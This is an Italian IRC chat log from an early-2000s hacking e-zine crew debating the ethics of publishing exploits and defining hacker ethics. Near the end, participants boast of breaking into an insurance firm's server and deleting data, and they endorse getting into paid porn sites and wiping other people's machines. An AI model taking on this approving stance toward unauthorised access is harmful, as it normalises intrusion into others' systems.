siamo INFORMAZIONE LIBERA ... e quindi tutte le info vanno dette a tutti come meglio riteniamo!! cyberdude: sono d'accordo è quello che intendo io senza limite di conoscenza cyberdude secondo te i programmatori o altri un po + capaci nn sanno come funge una vulmerabilita ?? cmq ovviamente e allora xkè esistono le vulnerabilità?? non sono i programmatori che le creano??? ogniuno la pensa come vuole i condivido tutto forse ve ne rendete conto + avanti oppure il contrario chi sa forse hai ragione tu baSheR ... le esperienze nascono dagli errori!! e con il tempo si impara dai propri errori cmq ti dico che il prob principale e di dare troppe cose e facilmente a ragazzini che si potrebbero mettere nei guai xche poi se io sn 1 programmatore ma nn ho mai armeggiato nel settore sicurezza queste info mi sono non UTILI ma UTILISSIME sl loro cavolo se nn lo sono che inconsapevolmente si trovano cn 3 anni da scondare e molti soldi da pagare mettiamo disclaimer mah e psieghiamoglielo c0d3r il disclaimer e una cazzata spieghiamoglielo nn serve a nulla ... baSheR io non dico fatelo, io dico guardate che esistono anche questi problemi!! ATTENZIONE!! beh noi il nostro lo abbiamo fatto si inaftti ho capito se poi uno si mette nei casi cazzi suoi che nn lo fai x quello ovviamente che scherzi se poi uno si mette nei casini cazzi suoi ti faccio capire che inconsapevolmente succede quello che ti ho detto vedi noi cerchiamo proprio di diffondere una filosofia che non porta a farsi grandi utilizzando exploit di altri, ma che porta a capire come funziona la rete!! come funziona questa scatola nera... vogliamo spiegare tutto (almeno quello che sappiamo) senza limiti!! no basher mi disp nn sn d'accordo ok capisco cyberdude cyberdude: concordo ok si sn belle parole xò poi ve ne accorgerete .. baSheR purtroppo non tutti la pensano allo stesso modo... ci sono anche quelli che leggono Informazionelibera per vedere come fare i gradassi con i compagni di scuola!! ma ogni cosa ha il suo prezzo!! se ne parlo nell'ultimo hackmeet e io vi riportol e loro parole cmq .. ve lo dico se un giorno diventerete attivisti in questo ambito ve ne accorgerete cmq c0d3r sei anche te di napoli ? certo baSheR ... ma io apprezzo quello che tu dici!! apprezzo i tuoi consigli soltanto credo che se non parlassimo di vulnerabilità sarebbe come togliere una parte di se all'underground!! no io son di prov. di fi parte di se ? azz di firenze hhii ehehe ero su napolihak solo xkè mi sembrava una crew in gamba c0d3r conosci hacklab fi ? si ok vai e parla cn loro di sta roba piacerebbe collaborare pure li vacci uhm in questi giorni nn mi posso muovere da fi nn mi posso muovere per andare a fi cmq vedrò ke posso fare se lo fai e buon x te xche ce gente veramente ingamba cmq cyberdude se capito a fi lo faccio tranquillo mi ha fatto notare ora una pesona in pvr pvt che cazzo significa credo che se non parlassimo di vulnerabilità sarebbe come togliere una parte di se all'underground!! :/ beh...èvero parte di se ?? parte di se ?? è vero ho my god ragioniamo ragazzi gli hacker hanno costruito e migliorato internet e lo hanno fatto studiando anche le vulnerabilità e sotto il motto informations want to be free l'informazione deve essere libera ecco! l'ha detto lui!! ke penso sia alla base anke della nostra e-zine certo si ma ce scritto anche come approfitare di ste cose nei tut x favore è vero cyberdude quei tut pososno essere utili a capire a una persona ma nn un hacker ... 2° me x capire una cosa bisogna FARLA kk deve capire la persona ma se ci tieni al nome hacker e a chi dai ste info nn mettere la seszione attacco xfar capire come si exploita 2° me x capire una cosa bisogna FARLA e se io metto due macchine in rete e uso un exploit nn fo nulla di illegale te puoi anche nn farlo poi sicuro al 100% te ne accorgerai poi boh... c0d3r dovevi stare ad hackit03 x discutere e ci si e messo 3 ore io ti dico quello ke penso qui ora mi scoccio :( si infatti ancheli nessuno ha torto ma si pensava a cm risolvere sto prob.. e a che conclusione si è giunti? le cose che dicevate voi le dicevo anche io secondo me nn è affato un prob baSheR a che conclusione si è giunti? allora da premettere si dice l'exploit come si risolve e come si usa che l'asseblea nn si e mai conclusa però ha prevalso il fatto e poi ki lo usa x scopi illegali affari suoi se lo beccano di tutelare ragazzini che usano xploit e che nn si e daccordo cn chi scrive doc su come hackerare il sito della nasa o a spigare com exploitare ovviamente erano tanti i pro e i contro quindi cioe .. nn si puo dire ragazzi x me questa è una sorta di CENSURA cmq voi fate come meglio credete io vi davo un consiglio e CENSURA è una parola ke mi sta sul cazzo poi . ovviamente ognuno pensa cm vuole certo naturale sai qual'è il vero punto baSheR???? il fatto è che ormai non esiste + una cosa fondamentale chiamata ETICA!!!! purtroppo ormai la gente non pensa a imparare, la gente pensa a diventare famosi, a vedere il proprio nick su siti importanti e per farlo magari si diverte a usare exploit (tanto per dirne una)!! è questo il punto il pensare è una delle poche cose veramente libere rimaste bravissimo questa cosa nn sai quante volte e stata dett vero vero vero aquesto e il . xcio chiedi di evitare di scrivere quei tutt :) nn sai quanti ragazzi sn iscritti e vannos u bug traq quindi ci sn tante cose cmq te lo assicuro l'etica ce secondo me bisognerebbe ritornare a fare un pò di etica ormai non se ne parla + anche sulla nostra e-zine non c'è 1 solo articolo di etica non è + come prima dov'è l'etica? uhm mi è venuta un'idea dentro gli hacker .. :) potrei tradurre l' hacker how-to lì un po' di etica c'è hmm naaa why? meglio jargon file :) :P abbe si fallo beh...un po' lunghetto baSheR ... sapresti dirmi 1 nome solo di hacker dei nostri giorni??? dove sono gli hacker?? io lo conosco :D c0d3r quando parlo di etica non parlo di tradurre testi hacker... parlo di scriverla noi!! nn ce ne sn tanti ma che dici a dopoz leonhack ... parli di loxeo? :p si :P eheheh lo sapevo ;) cyberdude: posso provare a fare anke questo bravo c0d3r ma ho bisongo di qualke direttiva allora tutti quelli che fanno parte dell'hacktivismo in italia sono hacker in quanto e dobbiamo deciderla tutti insieme ragazzi apprezzerei che ognuno di voi scrivesse il suo pensiero!! condividono e pensano e rispecchianola vera etica hacker naturalmente saranno inseriti tutti sia che io sia daccordo sia no!! cos'è una specie di tema? ola ragazzi..... tutti gli hacklab che organizzano gli hm sono hacker x me cioe quelli che condividono e sanno e portano avanti l'etica hacker poi dico questo xche li conosco wauuu che discorsi...... eh .. xcio certo baSheR!! ma secondo te loro sono hacker o sono solo i discendenti degli hacker? gente che diffonde la cultura ma che alla base non è un hacker!! eh tailot nn si smettte mai di parla di ste cose no sono hacker . puoi dire ovviamente discendenti cos'è un hacker x te? ma come i loro predecessori fanno cultura e inutile che te lo dico xche vabbè forse hai ragione! l'hacker non è....non sa di esserlo....e manco ce ne fott un caxx qui ogniuno dice na cosa diversa a partire dalle persone che nn li conoscono tailot nn e vero parole di alan cox disse a me fa piacere far parte di un numero ristretto di persona che cercano di essere utili alla comunita in qualsiasi modo e altre cazzate del genere cmq .. in genere si intende hacker una persona interessata alla tecnologia e cerca di capirne il + possibile da quello che e possibile farne x esempiuo una radio sn sl parole ragazzi cmq .. in genere si intende hacker una persona interessata alla tecnologia <<<< NON E' VERO ogniuno di noi crede di essere cosi x delle cose che fa e condivide bhe ragazzi l'hacker è una parola un po bruttina...secondo me non si può + utilizzare quindi interessati a ciò ke gli interessa ragazzi ... potremmo stare qui ore e ore a parlare di filosofia hack!! ... per favore mettete il vostro pensiero periscritto e inviatemelo, nel prossimo numero di IL metto il reparto ETICA e vediamo che ne viene fuori ok?? si infatti cyberdude nn se ne puo parlare al'hackit03 mi fanno male le dita te l'ho detto 3 ore e manco si e conclusa idem ;) cmq gia lo detto ragazzi ... potremmo stare qui ore e ore a parlare di filosofia hack!! ... per favore mettete il vostro pensiero periscritto e inviatemelo, nel prossimo numero di IL metto il reparto ETICA e vediamo che ne viene fuori ok?? <---------cyber....non sono d'accordo con te.... uno sa se e hacker o meno in base a quello che fa o quello che pensa .. dici la tua allora tailot ;) tt qui .. vado a programmare i asm così mi riposo un po' i polpastrelli eheheh vai c0d3r ;) a dopo i asm? in* in asm hehehe yes e na cosa buona vai :) ragazzi chi parla di etica e di bla bla bla bal.....lo sapete che stiamo perdento del tempo.....SECONDO me è meglio se continuassimo a svolgere le nostre funzioni si certo tailot hai ragione anche tu... ma accompagnare il tutto con dell'etica non può far che bene!!! magari qualcuno la legge e comincia a credere che forse usare un exploit non serve a bucare il server ma serve a capire come si crea un exploit in C :) eheheh bhe certo...ognuno è libero di parlare...per carità io ho solo detto la mia chiaro il concetto? * c0d3r rimane xkè ha perso il manuale di asm.......TRAGEDIA!!!! poverino c0d3r eehehe cmq penso che è solo fiato sprecato...è perdita di tempo...che non porta a nulla :( l'ho prestato ora me lo ricordo c'è un pò di verità in quello che dice ognuno di noi, ma se non sappiamo dove sta la ragione realmente ognuno segue la sua linea finchè le prove e gli eventi non mostrano l'errore!! io almeno la vedo così e se facessimo una via di mezzo? hihih no andiamo avanti poi ognuno se segue quella strada se ne rende conto non serve a nulla... da due linee in contrasto prima o poi ne esce una sola vincente!! una via di mezzo non serve!! se no .. si attacca tipo pubblicare l'exploit ma senza il codice completo tipo senza librerie o cose così? no ma nn esiste ce ne una e stop x lo - i lameri o i ragazzini nn lo usano basher: nn sto scherzando c0d3r però i programmatori poi che fanno si attaccano?? non capirebbero mai il codice se manca qualcosa non potrenno mai testarlo sui loro pc nn potranno mai capire come è stato costruito quell'exploit cyberdude: io c ho provato ;) questo è l'importante provarci c0d3r e company....ricordo che le e-zine....servono alla gente a capire...non a nascondere ecco... questo è il concetto!! a capire... quindi per capire bisogna toccare con mano! almeno io la vedo così esatto... uhm...xò un programmatore se manca l'include te lo sa mettere ESPERIENZA ragazzi si parla di fare le proprie esperienze!! esatto... e se è un programmatore alle prime armi? gia poi ci rivediamo fra un paio di anni :) ok baSheR ;) e ne riparliamo :P ci ricorderemo di quello che ci hai detto cyberdude se te verresti al meet ne possiamo parlare da vicino quando c'è il meet? sabato? tailot: sn d'accordo ke le e-zine servono a capire ma basher aveva messo in conto anke il tutelare i ragazzini ke si trovano con la pula a casa x avere usato un exploit c0d3r i lamer non sanno neanche compilare un codice sorgente!! credimi! vuoi sapere quando sono nati i lamer?? quando sono nati i testi su come usare NETBUS!! ragazzi non usiamo queste parole: Lamer, hacker è meglio non quando sono stati spiegati gli exploit nn è vero chidono chiedono rompono i coglioni a tutti e poi sanno xkè qualcuno esasperato glielo dice e si infilano nella merda certo ma lo fanno con le loro mani, consapevoli di quello che fanno!! e magari la prossima volta ci pensano 2 volte! cmq questo nn mi sembra un motivo sufficente x evitare di pubblicare exploit ritorniamo sempre al fatto dell'ESPERIENZA e come il bambino che tocca il fuoco.... vero bravo tailot ... la penso come te e allora noi ke ci possiamo fare noi diamo informazioni bhe vi pongo una domanda semplice..... dirgli che il fuoco brucia!!!! esatto chi di voi....non si è mai bruciato....??? = disclaimer = disclaimer + citazioni delle leggi hehehe tailot ... io mi sono ustionato se è x questo!! * zerocky^prega is now known as zerocky^dice_basta e da quella volta sto attento 1000 volte prima di fare cazzate! cyberdude: come? bhe tutti ci siamo bruciati...perchè l'uomo fa un percorso....deve provare tutto...prima di essere bravo a non bruciarsi una compagnia di assicurazioni di milano chiamata la RAS non ha potuto lavorare una settimana per colpa mia!! eheheheh ho mandato in tilt tutto il sistema :(( ti hanno beccato????? se la presero con papà perchè io ero piccolo azz mi disp e poi papà spiegò che era stato un errore e fortunatamente si aggiutò tutto!! ma rischiai brutto :(( eheheh quando lo dico in giro nessuno mi crede,e non credo io che ci sia tanto da vantarmene eheheh ma avevo 10 anni e mi divertivo a fare il coglione! azz da allora ho deciso che era ora di metterci un punto con le cazzate! ed era ora di fare le cose serie! 10 anni e bucavi le assicurazioni si ma non me ne rendevo nemmeno conto di quanto fosse pericoloso 6 un cyberterrorista ero in ufficio da papà :) (assicuratore) * Dejavu has joined #informazionelibera * RibElLe has joined #informazionelibera ah ecco * RibElLe ti saluta con la zampa! social engineering e mio padre aveva un programma che era in collegamento con milano eheheh allora provai a inserirmi sul loro server re con un exploit in perl che non mi ricordo come si chiama ... eheheh il fatto è che entrai nei loro dati e per sbaglio cancellai un bel pò di cosette :(( non poterono lavorare per una settimana e io morii dalla paura quando mio padre me lo disse :D poi chiarimmo fortunatamente comunque penso che prima o poi tutti si rendono conto che è ora di finirla di fare cazzate e di pensare a fare le persone serie che poi alla fine a che cosa serve entrare nel pc della gente? a niente eheheh è molto più interessante capire come funziona un server o quali errori ci sono dietro un programma comunque ciao Dejavu ;) scusami anke entrare nei pc è educativo si ma solo per capire come fare... non per rubare dati alla gente ho scoperto dei pornazzi con posizioni ke ancora nn conoscevo ehhehe :PPP ho anke sgamato qualke pedo ad esempio io ritengo molto importanti quegli articoli che descrivono come entrare in siti porno a pagamento gratuitamente... così quei coglioni imparano a farci pagare per vedere cose che dovrebbero essere liberamente visibili!!! e formattato tutto eheheh cyberdude e bravo...no d'accordo d'accordo con te.....odio quelli che fanno pagare il porno che si fottano tutti... e io puntualmente glielo metto a quel servizio!! qualche volta di queste ci metto pure una mia foto!! eheheh pippaioli incalliti alla riscossa tailot ..... http://www.pinkworld.com/ :PPPPPP mondo rosa RibElLe?? RibElLe......ne so uno + bello....www.ultrapassword.com SI ebhehheh wagliù mo andiamo a finire nella zona hard della discussione!! ehehehe +[ iNfO ]----------------------------------------------------------------------+ [ NuMeRi pReCeDeNti ]--------------[ dOvE Ci tRoVaTe ]-------------------------| | IL 00 < 30 articoli > 06\05\2003 | [ Irc Server ]-[irc.azzurranet.org] | | IL 01 < 29 articoli > 06\06\2003 | [ Porta ]------[6667] | | IL 02 < 35 articoli > 27\06\2003 | [ Chan ]-------[#Informazionelibera] | | IL 03 < 30 articoli > 15\09\2003 | [ Web site ]---[www.informazionelibera.tk]| | IL 04 < 32 articoli > 20\10\2003 | [ Mailto ]-----[cyberdudeIL@libero.it] | | IL 05 < 34 articoli > 20\11\2003 | | +------------------------------------------------------------------------------+ [ RiNgRaZiAmEnTo sPeCiAlE a ChI aPpOgGiA lA nOsTrA CaUsA]-[TnK tO]-------------| |-- HACKERLANDIA --------------------------------------------------------------| |-- HACK-ITALIA ---------------------------------------------------------------| |-- KUHT ----------------------------------------------------------------------| |-- PINCOPALL -----------------------------------------------------------------| +------------------------------------------------------------------------------| +-[ ©Copyright Informazionelibera® Crew ]--------------------------------------+ |-[ In continuo progresso ] ... -----------------------------------------------| | _________________________________________________________| |____________________/